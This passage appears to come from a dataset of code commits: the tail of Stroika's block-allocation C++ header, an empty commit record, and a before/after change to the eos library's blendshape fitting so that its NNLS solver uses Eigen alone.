Stroika::Foundation::Memory {\n\n    \/*\n     ********************************************************************************\n     ************************* BlockAllocationUseHelper<T> **************************\n     ********************************************************************************\n     *\/\n    template <typename T>\n    inline void* BlockAllocationUseHelper<T>::operator new (size_t n)\n    {\n        return BlockAllocator<T>::Allocate (n);\n    }\n    template <typename T>\n    inline void* BlockAllocationUseHelper<T>::operator new (size_t n, int, const char*, int)\n    {\n        return BlockAllocator<T>::Allocate (n);\n    }\n    template <typename T>\n    inline void BlockAllocationUseHelper<T>::operator delete (void* p)\n    {\n        BlockAllocator<T>::Deallocate (p);\n    }\n    template <typename T>\n    inline void BlockAllocationUseHelper<T>::operator delete (void* p, int, const char*, int)\n    {\n        BlockAllocator<T>::Deallocate (p);\n    }\n\n    \/*\n     ********************************************************************************\n     ******************* BlockAllocationUseGlobalAllocatorHelper<T> *****************\n     ********************************************************************************\n     *\/\n    template <typename T>\n    inline void* BlockAllocationUseGlobalAllocatorHelper<T>::operator new (size_t n)\n    {\n        return ::operator new (n);\n    }\n    template <typename T>\n    inline void* BlockAllocationUseGlobalAllocatorHelper<T>::operator new (size_t n, int, const char*, int)\n    {\n        return ::operator new (n);\n    }\n    template <typename T>\n    inline void BlockAllocationUseGlobalAllocatorHelper<T>::operator delete (void* p)\n    {\n        ::operator delete (p);\n    }\n    template <typename T>\n    inline void BlockAllocationUseGlobalAllocatorHelper<T>::operator delete (void* p, int, const char*, int)\n    {\n        ::operator delete (p);\n    }\n\n    \/*\n     ********************************************************************************\n     *************************** ManuallyBlockAllocated<T> **************************\n     ********************************************************************************\n     *\/\n    template <typename T>\n    template <typename... ARGS>\n    inline T* ManuallyBlockAllocated<T>::New (ARGS&&... args)\n    {\n#if qAllowBlockAllocation\n        return new (BlockAllocator<T>::Allocate (sizeof (T))) T (forward<ARGS> (args)...);\n#else\n        return new T (forward<ARGS> (args)...);\n#endif\n    }\n    template <typename T>\n    inline void ManuallyBlockAllocated<T>::Delete (T* p) noexcept\n    {\n#if qAllowBlockAllocation\n        if (p != nullptr) {\n            (p)->~T ();\n            BlockAllocator<T>::Deallocate (p);\n        }\n#else\n        delete p;\n#endif\n    }\n\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ DEPRECATED STUFF\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/**\n         *  \\note DEPRECATED - USE UseBlockAllocationIfAppropriate\n         *\/\n#if qAllowBlockAllocation\n#define DECLARE_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)                                                                                         \\\n    static void* operator new (size_t n) { return (Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Allocate (n)); }                        \\\n    static void* operator new (size_t n, int, const char*, int) { return (Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Allocate (n)); } \\\n    static void  operator delete (void* p) { Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Deallocate (p); }                             \\\n    static void  operator delete (void* p, int, const char*, int) { Stroika::Foundation::Memory::BlockAllocator<THIS_CLASS>::Deallocate (p); }\n#else\n#define DECLARE_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)\n#endif\n\n\/\/ Deprecated in Stroika v2.1d4 - USE UseBlockAllocationIfAppropriate\n#define DECLARE_USE_BLOCK_ALLOCATION(THIS_CLASS) use = \"DECLARE_USE_BLOCK_ALLOCATION_DEPRECATED\"\n\n\/\/ Deprecated in Stroika v2.1d4 - USE UseBlockAllocationIfAppropriate\n#if qAllowBlockAllocation\n#define DECLARE_DONT_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)        \\\n    static void* operator new (size_t n) { return ::operator new (n); } \\\n    static void  operator delete (void* p) { ::operator delete (p); }\n#else\n#define DECLARE_DONT_USE_BLOCK_ALLOCATION_DEPRECATED(THIS_CLASS)\n#endif\n\n\/\/ Deprecated in Stroika v2.1d4 - USE BlockAllocationUseGlobalAllocatorHelper\n#define DECLARE_DONT_USE_BLOCK_ALLOCATION(THIS_CLASS) use = \"DECLARE_DONT_USE_BLOCK_ALLOCATION_DEPRECATED\"\n\n    \/**\n     * \\brief  Utility class to implement special memory allocator pattern which can greatly improve performance - @see DECLARE_USE_BLOCK_ALLOCATION()\n     *\n     * AutomaticallyBlockAllocated<T> is a templated class designed to allow easy use\n     * of a block-allocated memory strategy. This means zero overhead malloc\/memory allocation for fixed\n     * size blocks (with the only problem being the storage is never - or almost never - returned to the\n     * free store - it doesn't leak - but cannot be used for other things. This is often a useful\n     * tradeoff for things you allocate a great number of.\n     *\n     * You shouldn't disable it lightly. But you may wish to temporarily disable block-allocation\n     * while checking for memory leaks by shutting of the qAllowBlockAllocation compile-time configuration variable.\n     * \n     *  If qAllowBlockAllocation true (default) - this will use the optimized block allocation store, but if qAllowBlockAllocation is\n     *  false (0), this will just default to the global ::new\/::delete\n     *\n     *\/\n    template <typename T>\n    class [[deprecated (\"bad idea - if you use to allocate - must retain type AutomaticallyBlockAllocated<T>* or do wrong delete - use UseBlockAllocationIfAppropriate instead- deprecated in v2.1d4\")]] AutomaticallyBlockAllocated : public UseBlockAllocationIfAppropriate<T>\n    {\n    public:\n        AutomaticallyBlockAllocated ()\n            : fValue_ ()\n        {\n        }\n        AutomaticallyBlockAllocated (const AutomaticallyBlockAllocated& t)\n            : fValue_ (t)\n        {\n        }\n        AutomaticallyBlockAllocated (const T& t)\n            : fValue_ (t)\n        {\n        }\n        AutomaticallyBlockAllocated (T && t)\n            : fValue_ (move (t))\n        {\n        }\n\n    public:\n        const AutomaticallyBlockAllocated<T>& operator= (const AutomaticallyBlockAllocated& t)\n        {\n            fValue_ = t.fValue_;\n            return *this;\n        }\n        const AutomaticallyBlockAllocated<T>& operator= (const T& t)\n        {\n            fValue_ = t;\n            return *this;\n        }\n\n    public:\n        operator T () const\n        {\n            return fValue_;\n        }\n\n    public:\n        T* get ()\n        {\n            return &fValue_;\n        }\n\n    private:\n        T fValue_;\n    };\n}\n#endif \/*_Stroika_Foundation_Memory_BlockAllocated_inl_*\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Very little refactoring in user method at Music class<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * eos - A 3D Morphable Model fitting library written in modern C++11\/14.\n *\n * File: include\/eos\/fitting\/blendshape_fitting.hpp\n *\n * Copyright 2015 Patrik Huber\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#pragma once\n\n#ifndef BLENDSHAPEFITTING_HPP_\n#define BLENDSHAPEFITTING_HPP_\n\n#include \"eos\/morphablemodel\/Blendshape.hpp\"\n\n#include \"Eigen\/Core\" \/\/ for nnls.h\n#include \"nnls.h\"\n\n#include \"Eigen\/Core\"\n#include \"opencv2\/core\/core.hpp\"\n\n#include <vector>\n#include <cassert>\n\nnamespace eos {\n\tnamespace fitting {\n\n\/**\n * Fits blendshape coefficients to given 2D landmarks, given a current face shape instance.\n * It's a linear, closed-form solution fitting algorithm, with regularisation (constraining\n * the L2-norm of the coefficients). However, there is no constraint on the coefficients,\n * so negative coefficients are allowed, which, with linear blendshapes (offsets), will most\n * likely not be desired. Thus, prefer the function\n * fit_blendshapes_to_landmarks_nnls(std::vector<eos::morphablemodel::Blendshape>, cv::Mat, cv::Mat, std::vector<cv::Vec2f>, std::vector<int>).\n * \n * This algorithm is very similar to the shape fitting in fit_shape_to_landmarks_linear.\n * Instead of the PCA basis, the blendshapes are used, and instead of the mean, a current\n * face instance is used to do the fitting from.\n *\n * @param[in] blendshapes A vector with blendshapes to estimate the coefficients for.\n * @param[in] face_instance A shape instance from which the blendshape coefficients should be estimated (i.e. the current mesh without expressions, e.g. estimated from a previous PCA-model fitting). A 3m x 1 matrix.\n * @param[in] affine_camera_matrix A 3x4 affine camera matrix from model to screen-space (should probably be of type CV_32FC1 as all our calculations are done with float).\n * @param[in] landmarks 2D landmarks from an image to fit the blendshapes to.\n * @param[in] vertex_ids The vertex ids in the model that correspond to the 2D points.\n * @param[in] lambda A regularisation parameter, constraining the L2-norm of the coefficients.\n * @return The estimated blendshape-coefficients.\n *\/\ninline std::vector<float> fit_blendshapes_to_landmarks_linear(const std::vector<eos::morphablemodel::Blendshape>& blendshapes, const Eigen::VectorXf& face_instance, cv::Mat affine_camera_matrix, const std::vector<cv::Vec2f>& landmarks, const std::vector<int>& vertex_ids, float lambda=500.0f)\n{\n\tassert(landmarks.size() == vertex_ids.size());\n\n\tusing cv::Mat;\n\tusing Eigen::MatrixXf;\n\n\tconst int num_blendshapes = blendshapes.size();\n\tconst int num_landmarks = static_cast<int>(landmarks.size());\n\n\t\/\/ Copy all blendshapes into a \"basis\" matrix with each blendshape being a column:\n\tEigen::Matrix<float, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> blendshapes_as_basis = morphablemodel::to_matrix(blendshapes);\n\t\/\/ Above converts to a RowMajor matrix on return - for now, since the core algorithm still uses cv::Mat (and OpenCV stores data in row-major memory order).\n\tMat blendshapes_basis_as_mat = Mat(blendshapes_as_basis.rows(), blendshapes_as_basis.cols(), CV_32FC1, blendshapes_as_basis.data());\n\n\t\/\/ $\\hat{V} \\in R^{3N\\times m-1}$, subselect the rows of the eigenvector matrix $V$ associated with the $N$ feature points\n\t\/\/ And we insert a row of zeros after every third row, resulting in matrix $\\hat{V}_h \\in R^{4N\\times m-1}$:\n\tMat V_hat_h = Mat::zeros(4 * num_landmarks, num_blendshapes, CV_32FC1);\n\tint row_index = 0;\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tMat basis_rows = blendshapes_basis_as_mat.rowRange(vertex_ids[i] * 3, (vertex_ids[i] * 3) + 3);\n\t\tbasis_rows.copyTo(V_hat_h.rowRange(row_index, row_index + 3));\n\t\trow_index += 4; \/\/ replace 3 rows and skip the 4th one, it has all zeros\n\t}\n\t\/\/ Form a block diagonal matrix $P \\in R^{3N\\times 4N}$ in which the camera matrix C (P_Affine, affine_camera_matrix) is placed on the diagonal:\n\tMat P = Mat::zeros(3 * num_landmarks, 4 * num_landmarks, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tMat submatrix_to_replace = P.colRange(4 * i, (4 * i) + 4).rowRange(3 * i, (3 * i) + 3);\n\t\taffine_camera_matrix.copyTo(submatrix_to_replace);\n\t}\n\n\t\/\/ The landmarks in matrix notation (in homogeneous coordinates), $3N\\times 1$\n\tMat y = Mat::ones(3 * num_landmarks, 1, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\ty.at<float>(3 * i, 0) = landmarks[i][0];\n\t\ty.at<float>((3 * i) + 1, 0) = landmarks[i][1];\n\t\t\/\/y.at<float>((3 * i) + 2, 0) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t}\n\t\/\/ The mean, with an added homogeneous coordinate (x_1, y_1, z_1, 1, x_2, ...)^t\n\tMat v_bar = Mat::ones(4 * num_landmarks, 1, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\t\/\/cv::Vec4f model_mean = morphable_model.get_shape_model().get_mean_at_point(vertex_ids[i]);\n\t\tcv::Vec4f model_mean(face_instance(vertex_ids[i]*3), face_instance(vertex_ids[i]*3 + 1), face_instance(vertex_ids[i]*3 + 2), 1.0f);\n\t\tv_bar.at<float>(4 * i, 0) = model_mean[0];\n\t\tv_bar.at<float>((4 * i) + 1, 0) = model_mean[1];\n\t\tv_bar.at<float>((4 * i) + 2, 0) = model_mean[2];\n\t\t\/\/v_bar.at<float>((4 * i) + 3, 0) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t\t\/\/ note: now that a Vec4f is returned, we could use copyTo?\n\t}\n\n\t\/\/ Bring into standard regularised quadratic form:\n\tMat A = P * V_hat_h; \/\/ camera matrix times the basis\n\tMat b = P * v_bar - y; \/\/ camera matrix times the mean, minus the landmarks.\n\t\n\tMat AtAReg = A.t() * A + lambda * Mat::eye(num_blendshapes, num_blendshapes, CV_32FC1);\n\t\/\/ Solve using OpenCV:\n\tMat c_s;\n\tbool non_singular = cv::solve(AtAReg, -A.t() * b, c_s, cv::DECOMP_SVD); \/\/ DECOMP_SVD calculates the pseudo-inverse if the matrix is not invertible.\n\t\/\/ Because we're using SVD, non_singular will always be true. If we were to use e.g. Cholesky, we could return an expected<T>.\n\n\treturn std::vector<float>(c_s);\n};\n\n\/**\n * Fits blendshape coefficients to given 2D landmarks, given a current face shape instance.\n * Uses non-negative least-squares (NNLS) to solve for the coefficients. The NNLS algorithm\n * used doesn't support any regularisation.\n *\n * This algorithm is very similar to the shape fitting in fit_shape_to_landmarks_linear.\n * Instead of the PCA basis, the blendshapes are used, and instead of the mean, a current\n * face instance is used to do the fitting from.\n *\n * @param[in] blendshapes A vector with blendshapes to estimate the coefficients for.\n * @param[in] face_instance A shape instance from which the blendshape coefficients should be estimated (i.e. the current mesh without expressions, e.g. estimated from a previous PCA-model fitting). A 3m x 1 matrix.\n * @param[in] affine_camera_matrix A 3x4 affine camera matrix from model to screen-space (should probably be of type CV_32FC1 as all our calculations are done with float).\n * @param[in] landmarks 2D landmarks from an image to fit the blendshapes to.\n * @param[in] vertex_ids The vertex ids in the model that correspond to the 2D points.\n * @return The estimated blendshape-coefficients.\n *\/\ninline std::vector<float> fit_blendshapes_to_landmarks_nnls(const std::vector<eos::morphablemodel::Blendshape>& blendshapes, const Eigen::VectorXf& face_instance, cv::Mat affine_camera_matrix, const std::vector<cv::Vec2f>& landmarks, const std::vector<int>& vertex_ids)\n{\n\tassert(landmarks.size() == vertex_ids.size());\n\n\tusing cv::Mat;\n\tusing Eigen::MatrixXf;\n\n\tconst int num_blendshapes = blendshapes.size();\n\tconst int num_landmarks = static_cast<int>(landmarks.size());\n\n\t\/\/ Copy all blendshapes into a \"basis\" matrix with each blendshape being a column:\n\tEigen::Matrix<float, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> blendshapes_as_basis = morphablemodel::to_matrix(blendshapes);\n\t\/\/ Above converts to a RowMajor matrix on return - for now, since the core algorithm still uses cv::Mat (and OpenCV stores data in row-major memory order).\n\tMat blendshapes_basis_as_mat = Mat(blendshapes_as_basis.rows(), blendshapes_as_basis.cols(), CV_32FC1, blendshapes_as_basis.data());\n\n\t\/\/ $\\hat{V} \\in R^{3N\\times m-1}$, subselect the rows of the eigenvector matrix $V$ associated with the $N$ feature points\n\t\/\/ And we insert a row of zeros after every third row, resulting in matrix $\\hat{V}_h \\in R^{4N\\times m-1}$:\n\tMat V_hat_h = Mat::zeros(4 * num_landmarks, num_blendshapes, CV_32FC1);\n\tint row_index = 0;\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tMat basis_rows = blendshapes_basis_as_mat.rowRange(vertex_ids[i] * 3, (vertex_ids[i] * 3) + 3);\n\t\tbasis_rows.copyTo(V_hat_h.rowRange(row_index, row_index + 3));\n\t\trow_index += 4; \/\/ replace 3 rows and skip the 4th one, it has all zeros\n\t}\n\t\/\/ Form a block diagonal matrix $P \\in R^{3N\\times 4N}$ in which the camera matrix C (P_Affine, affine_camera_matrix) is placed on the diagonal:\n\tMat P = Mat::zeros(3 * num_landmarks, 4 * num_landmarks, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tMat submatrix_to_replace = P.colRange(4 * i, (4 * i) + 4).rowRange(3 * i, (3 * i) + 3);\n\t\taffine_camera_matrix.copyTo(submatrix_to_replace);\n\t}\n\n\t\/\/ The landmarks in matrix notation (in homogeneous coordinates), $3N\\times 1$\n\tMat y = Mat::ones(3 * num_landmarks, 1, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\ty.at<float>(3 * i, 0) = landmarks[i][0];\n\t\ty.at<float>((3 * i) + 1, 0) = landmarks[i][1];\n\t\t\/\/y.at<float>((3 * i) + 2, 0) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t}\n\t\/\/ The mean, with an added homogeneous coordinate (x_1, y_1, z_1, 1, x_2, ...)^t\n\tMat v_bar = Mat::ones(4 * num_landmarks, 1, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tcv::Vec4f model_mean(face_instance(vertex_ids[i]*3), face_instance(vertex_ids[i]*3 + 1), face_instance(vertex_ids[i]*3 + 2), 1.0f);\n\t\tv_bar.at<float>(4 * i, 0) = model_mean[0];\n\t\tv_bar.at<float>((4 * i) + 1, 0) = model_mean[1];\n\t\tv_bar.at<float>((4 * i) + 2, 0) = model_mean[2];\n\t\t\/\/v_bar.at<float>((4 * i) + 3, 0) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t\t\/\/ note: now that a Vec4f is returned, we could use copyTo?\n\t}\n\n\t\/\/ Bring into standard regularised quadratic form:\n\tMat A = P * V_hat_h; \/\/ camera matrix times the basis\n\tMat b = P * v_bar - y; \/\/ camera matrix times the mean, minus the landmarks.\n\n\t\/\/ Solve using NNLS:\n\tusing RowMajorMatrixXf = Eigen::Matrix<float, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>;\n\tEigen::Map<RowMajorMatrixXf> A_Eigen(A.ptr<float>(), A.rows, A.cols);\n\tEigen::Map<RowMajorMatrixXf> b_Eigen(b.ptr<float>(), b.rows, b.cols);\n\n\tEigen::VectorXf x;\n\tbool non_singular = Eigen::NNLS<Eigen::MatrixXf>::solve(A_Eigen, -b_Eigen, x);\n\tMat c_s(x.rows(), x.cols(), CV_32FC1, x.data()); \/\/ create an OpenCV Mat header for the Eigen data\n\n\treturn std::vector<float>(c_s);\n};\n\n\t} \/* namespace fitting *\/\n} \/* namespace eos *\/\n\n#endif \/* BLENDSHAPEFITTING_HPP_ *\/\n<commit_msg>Changed NNLS blendshape fitting to use only Eigen<commit_after>\/*\n * eos - A 3D Morphable Model fitting library written in modern C++11\/14.\n *\n * File: include\/eos\/fitting\/blendshape_fitting.hpp\n *\n * Copyright 2015 Patrik Huber\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#pragma once\n\n#ifndef BLENDSHAPEFITTING_HPP_\n#define BLENDSHAPEFITTING_HPP_\n\n#include \"eos\/morphablemodel\/Blendshape.hpp\"\n\n#include \"Eigen\/Core\"\n#include \"nnls.h\"\n\n#include \"opencv2\/core\/core.hpp\"\n\n#include <vector>\n#include <cassert>\n\nnamespace eos {\n\tnamespace fitting {\n\n\/**\n * Fits blendshape coefficients to given 2D landmarks, given a current face shape instance.\n * It's a linear, closed-form solution fitting algorithm, with regularisation (constraining\n * the L2-norm of the coefficients). However, there is no constraint on the coefficients,\n * so negative coefficients are allowed, which, with linear blendshapes (offsets), will most\n * likely not be desired. Thus, prefer the function\n * fit_blendshapes_to_landmarks_nnls(std::vector<eos::morphablemodel::Blendshape>, cv::Mat, cv::Mat, std::vector<cv::Vec2f>, std::vector<int>).\n * \n * This algorithm is very similar to the shape fitting in fit_shape_to_landmarks_linear.\n * Instead of the PCA basis, the blendshapes are used, and instead of the mean, a current\n * face instance is used to do the fitting from.\n *\n * @param[in] blendshapes A vector with blendshapes to estimate the coefficients for.\n * @param[in] face_instance A shape instance from which the blendshape coefficients should be estimated (i.e. the current mesh without expressions, e.g. estimated from a previous PCA-model fitting). A 3m x 1 matrix.\n * @param[in] affine_camera_matrix A 3x4 affine camera matrix from model to screen-space (should probably be of type CV_32FC1 as all our calculations are done with float).\n * @param[in] landmarks 2D landmarks from an image to fit the blendshapes to.\n * @param[in] vertex_ids The vertex ids in the model that correspond to the 2D points.\n * @param[in] lambda A regularisation parameter, constraining the L2-norm of the coefficients.\n * @return The estimated blendshape-coefficients.\n *\/\ninline std::vector<float> fit_blendshapes_to_landmarks_linear(const std::vector<eos::morphablemodel::Blendshape>& blendshapes, const Eigen::VectorXf& face_instance, cv::Mat affine_camera_matrix, const std::vector<cv::Vec2f>& landmarks, const std::vector<int>& vertex_ids, float lambda=500.0f)\n{\n\tassert(landmarks.size() == vertex_ids.size());\n\n\tusing cv::Mat;\n\tusing Eigen::MatrixXf;\n\n\tconst int num_blendshapes = blendshapes.size();\n\tconst int num_landmarks = static_cast<int>(landmarks.size());\n\n\t\/\/ Copy all blendshapes into a \"basis\" matrix with each blendshape being a column:\n\tEigen::Matrix<float, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> blendshapes_as_basis = morphablemodel::to_matrix(blendshapes);\n\t\/\/ Above converts to a RowMajor matrix on return - for now, since the core algorithm still uses cv::Mat (and OpenCV stores data in row-major memory order).\n\tMat blendshapes_basis_as_mat = Mat(blendshapes_as_basis.rows(), blendshapes_as_basis.cols(), CV_32FC1, blendshapes_as_basis.data());\n\n\t\/\/ $\\hat{V} \\in R^{3N\\times m-1}$, subselect the rows of the eigenvector matrix $V$ associated with the $N$ feature points\n\t\/\/ And we insert a row of zeros after every third row, resulting in matrix $\\hat{V}_h \\in R^{4N\\times m-1}$:\n\tMat V_hat_h = Mat::zeros(4 * num_landmarks, num_blendshapes, CV_32FC1);\n\tint row_index = 0;\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tMat basis_rows = blendshapes_basis_as_mat.rowRange(vertex_ids[i] * 3, (vertex_ids[i] * 3) + 3);\n\t\tbasis_rows.copyTo(V_hat_h.rowRange(row_index, row_index + 3));\n\t\trow_index += 4; \/\/ replace 3 rows and skip the 4th one, it has all zeros\n\t}\n\t\/\/ Form a block diagonal matrix $P \\in R^{3N\\times 4N}$ in which the camera matrix C (P_Affine, affine_camera_matrix) is placed on the diagonal:\n\tMat P = Mat::zeros(3 * num_landmarks, 4 * num_landmarks, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tMat submatrix_to_replace = P.colRange(4 * i, (4 * i) + 4).rowRange(3 * i, (3 * i) + 3);\n\t\taffine_camera_matrix.copyTo(submatrix_to_replace);\n\t}\n\n\t\/\/ The landmarks in matrix notation (in homogeneous coordinates), $3N\\times 1$\n\tMat y = Mat::ones(3 * num_landmarks, 1, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\ty.at<float>(3 * i, 0) = landmarks[i][0];\n\t\ty.at<float>((3 * i) + 1, 0) = landmarks[i][1];\n\t\t\/\/y.at<float>((3 * i) + 2, 0) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t}\n\t\/\/ The mean, with an added homogeneous coordinate (x_1, y_1, z_1, 1, x_2, ...)^t\n\tMat v_bar = Mat::ones(4 * num_landmarks, 1, CV_32FC1);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\t\/\/cv::Vec4f model_mean = morphable_model.get_shape_model().get_mean_at_point(vertex_ids[i]);\n\t\tcv::Vec4f model_mean(face_instance(vertex_ids[i]*3), face_instance(vertex_ids[i]*3 + 1), face_instance(vertex_ids[i]*3 + 2), 1.0f);\n\t\tv_bar.at<float>(4 * i, 0) = model_mean[0];\n\t\tv_bar.at<float>((4 * i) + 1, 0) = model_mean[1];\n\t\tv_bar.at<float>((4 * i) + 2, 0) = model_mean[2];\n\t\t\/\/v_bar.at<float>((4 * i) + 3, 0) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t\t\/\/ note: now that a Vec4f is returned, we could use copyTo?\n\t}\n\n\t\/\/ Bring into standard regularised quadratic form:\n\tMat A = P * V_hat_h; \/\/ camera matrix times the basis\n\tMat b = P * v_bar - y; \/\/ camera matrix times the mean, minus the landmarks.\n\t\n\tMat AtAReg = A.t() * A + lambda * Mat::eye(num_blendshapes, num_blendshapes, CV_32FC1);\n\t\/\/ Solve using OpenCV:\n\tMat c_s;\n\tbool non_singular = cv::solve(AtAReg, -A.t() * b, c_s, cv::DECOMP_SVD); \/\/ DECOMP_SVD calculates the pseudo-inverse if the matrix is not invertible.\n\t\/\/ Because we're using SVD, non_singular will always be true. If we were to use e.g. Cholesky, we could return an expected<T>.\n\n\treturn std::vector<float>(c_s);\n};\n\n\/**\n * Fits blendshape coefficients to given 2D landmarks, given a current face shape instance.\n * Uses non-negative least-squares (NNLS) to solve for the coefficients. The NNLS algorithm\n * used doesn't support any regularisation.\n *\n * This algorithm is very similar to the shape fitting in fit_shape_to_landmarks_linear.\n * Instead of the PCA basis, the blendshapes are used, and instead of the mean, a current\n * face instance is used to do the fitting from.\n *\n * @param[in] blendshapes A vector with blendshapes to estimate the coefficients for.\n * @param[in] face_instance A shape instance from which the blendshape coefficients should be estimated (i.e. the current mesh without expressions, e.g. estimated from a previous PCA-model fitting). A 3m x 1 matrix.\n * @param[in] affine_camera_matrix A 3x4 affine camera matrix from model to screen-space (should probably be of type CV_32FC1 as all our calculations are done with float).\n * @param[in] landmarks 2D landmarks from an image to fit the blendshapes to.\n * @param[in] vertex_ids The vertex ids in the model that correspond to the 2D points.\n * @return The estimated blendshape-coefficients.\n *\/\ninline std::vector<float> fit_blendshapes_to_landmarks_nnls(const std::vector<eos::morphablemodel::Blendshape>& blendshapes, const Eigen::VectorXf& face_instance, cv::Mat affine_camera_matrix, const std::vector<cv::Vec2f>& landmarks, const std::vector<int>& vertex_ids)\n{\n\tassert(landmarks.size() == vertex_ids.size());\n\n\tusing Eigen::VectorXf;\n\tusing Eigen::MatrixXf;\n\n\tconst int num_blendshapes = blendshapes.size();\n\tconst int num_landmarks = static_cast<int>(landmarks.size());\n\n\t\/\/ Copy all blendshapes into a \"basis\" matrix with each blendshape being a column:\n\tMatrixXf blendshapes_as_basis = morphablemodel::to_matrix(blendshapes);\n\n\t\/\/ $\\hat{V} \\in R^{3N\\times m-1}$, subselect the rows of the eigenvector matrix $V$ associated with the $N$ feature points\n\t\/\/ And we insert a row of zeros after every third row, resulting in matrix $\\hat{V}_h \\in R^{4N\\times m-1}$:\n\tMatrixXf V_hat_h = MatrixXf::Zero(4 * num_landmarks, num_blendshapes);\n\tint row_index = 0;\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tV_hat_h.block(row_index, 0, 3, V_hat_h.cols()) = blendshapes_as_basis.block(vertex_ids[i] * 3, 0, 3, blendshapes_as_basis.cols());\n\t\trow_index += 4; \/\/ replace 3 rows and skip the 4th one, it has all zeros\n\t}\n\t\/\/ Form a block diagonal matrix $P \\in R^{3N\\times 4N}$ in which the camera matrix C (P_Affine, affine_camera_matrix) is placed on the diagonal:\n\tMatrixXf P = MatrixXf::Zero(3 * num_landmarks, 4 * num_landmarks);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tusing RowMajorMatrixXf = Eigen::Matrix<float, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>;\n\t\tP.block(3 * i, 4 * i, 3, 4) = Eigen::Map<RowMajorMatrixXf>(affine_camera_matrix.ptr<float>(), affine_camera_matrix.rows, affine_camera_matrix.cols);\n\t}\n\t\/\/ The landmarks in matrix notation (in homogeneous coordinates), $3N\\times 1$\n\tVectorXf y = VectorXf::Ones(3 * num_landmarks);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\ty(3 * i) = landmarks[i][0];\n\t\ty((3 * i) + 1) = landmarks[i][1];\n\t\t\/\/y_((3 * i) + 2) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t}\n\t\/\/ The mean, with an added homogeneous coordinate (x_1, y_1, z_1, 1, x_2, ...)^t\n\tVectorXf v_bar = VectorXf::Ones(4 * num_landmarks);\n\tfor (int i = 0; i < num_landmarks; ++i) {\n\t\tv_bar(4 * i) = face_instance(vertex_ids[i] * 3);\n\t\tv_bar((4 * i) + 1) = face_instance(vertex_ids[i] * 3 + 1);\n\t\tv_bar((4 * i) + 2) = face_instance(vertex_ids[i] * 3 + 2);\n\t\t\/\/v_bar((4 * i) + 3) = 1; \/\/ already 1, stays (homogeneous coordinate)\n\t}\n\n\t\/\/ Bring into standard least squares form:\n\tconst MatrixXf A = P * V_hat_h; \/\/ camera matrix times the basis\n\tconst MatrixXf b = P * v_bar - y; \/\/ camera matrix times the mean, minus the landmarks\n\t\/\/ Solve using NNLS:\n\tEigen::VectorXf x;\n\tbool non_singular = Eigen::NNLS<MatrixXf>::solve(A, -b, x);\n\n\treturn std::vector<float>(x.data(), x.data() + x.size());\n};\n\n\t} \/* namespace fitting 